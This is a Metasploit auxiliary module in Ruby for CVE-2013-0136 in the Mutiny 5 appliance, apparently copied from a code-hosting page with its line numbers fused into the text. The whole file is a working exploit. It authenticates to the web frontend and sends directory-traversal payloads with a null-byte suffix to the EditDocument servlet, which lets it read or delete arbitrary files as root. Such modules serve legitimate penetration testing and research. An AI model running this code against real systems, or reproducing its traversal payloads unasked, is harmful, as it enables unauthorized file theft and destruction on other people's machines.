Path: blob/master/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Mutiny 5 Arbitrary File Read and Delete',13'Description' => %q{14This module exploits the EditDocument servlet from the frontend on the Mutiny 515appliance. The EditDocument servlet provides file operations, such as copy and16delete, which are affected by a directory traversal vulnerability. Because of this,17any authenticated frontend user can read and delete arbitrary files from the system18with root privileges. In order to exploit the vulnerability a valid user (any role)19in the web frontend is required. The module has been tested successfully on the20Mutiny 5.0-1.07 appliance.21},22'Author' => [23'juan vazquez' # Metasploit module and initial discovery24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2013-0136' ],28[ 'US-CERT-VU', '701572' ],29[ 'URL', 'http://web.archive.org/web/20250114041839/https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ]30],31'Actions' => [32['Read', { 'Description' => 'Read arbitrary file' }],33['Delete', { 'Description' => 'Delete arbitrary file' }]34],35'DefaultAction' => 'Read',36'DisclosureDate' => '2013-05-15',37'Notes' => {38'Stability' => [OS_RESOURCE_LOSS],39'SideEffects' => [IOC_IN_LOGS],40'Reliability' => []41}42)43)4445register_options(46[47Opt::RPORT(80),48OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),49OptString.new('USERNAME', [ true, 'The user to authenticate as', '[email protected]' ]),50OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]),51OptString.new('PATH', [ true, 'The file to read or delete' ]),52]53)54end5556def run57print_status('Trying to login')58if login59print_good('Login Successful')60else61print_error('Login failed, review USERNAME and PASSWORD options')62return63end6465case action.name66when 'Read'67read_file(datastore['PATH'])68when 'Delete'69delete_file(datastore['PATH'])70end71end7273def read_file(file)74print_status('Copying file to Web location...')7576dst_path = '/usr/jakarta/tomcat/webapps/ROOT/m/'77res = send_request_cgi(78{79'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),80'method' => 'POST',81'cookie' => "JSESSIONID=#{@session}",82'encode_params' => false,83'vars_post' => {84'operation' => 'COPY',85'paths[]' => "../../../../#{file}%00.txt",86'newPath' => "../../../..#{dst_path}"87}88}89)9091if res && (res.code == 200) && res.body =~ /\{"success":true\}/92print_good("File #{file} copied to #{dst_path} successfully")93else94print_error("Failed to copy #{file} to #{dst_path}")95end9697print_status('Retrieving file contents...')9899res = send_request_cgi(100{101'uri' => normalize_uri(target_uri.path, 'm', ::File.basename(file)),102'method' => 'GET'103}104)105106if res && (res.code == 200)107store_path = store_loot('mutiny.frontend.data', 'application/octet-stream', rhost, res.body, file)108print_good("File successfully retrieved and saved on #{store_path}")109else110print_error('Failed to retrieve file')111end112113# Cleanup114delete_file("#{dst_path}#{::File.basename(file)}")115end116117def delete_file(file)118print_status("Deleting file #{file}")119120res = send_request_cgi(121{122'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),123'method' => 'POST',124'cookie' => "JSESSIONID=#{@session}",125'vars_post' => {126'operation' => 'DELETE',127'paths[]' => "../../../../#{file}"128}129}130)131132if res && (res.code == 200) && res.body =~ /\{"success":true\}/133print_good("File #{file} deleted")134else135print_error("Error deleting file #{file}")136end137end138139def login140res = send_request_cgi(141{142'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),143'method' => 'GET'144}145)146147if res && (res.code == 200) && res.get_cookies =~ /JSESSIONID=(.*);/148first_session = ::Regexp.last_match(1)149end150151res = send_request_cgi(152{153'uri' => normalize_uri(target_uri.path, 'interface', 'j_security_check'),154'method' => 'POST',155'cookie' => "JSESSIONID=#{first_session}",156'vars_post' => {157'j_username' => datastore['USERNAME'],158'j_password' => datastore['PASSWORD']159}160}161)162163if !res || (res.code != 302) || res.headers['Location'] !~ %r{interface/index.do}164return false165end166167res = send_request_cgi(168{169'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),170'method' => 'GET',171'cookie' => "JSESSIONID=#{first_session}"172}173)174175if res && (res.code == 200) && res.get_cookies =~ /JSESSIONID=(.*);/176@session = ::Regexp.last_match(1)177return true178end179180return false181end182end183184185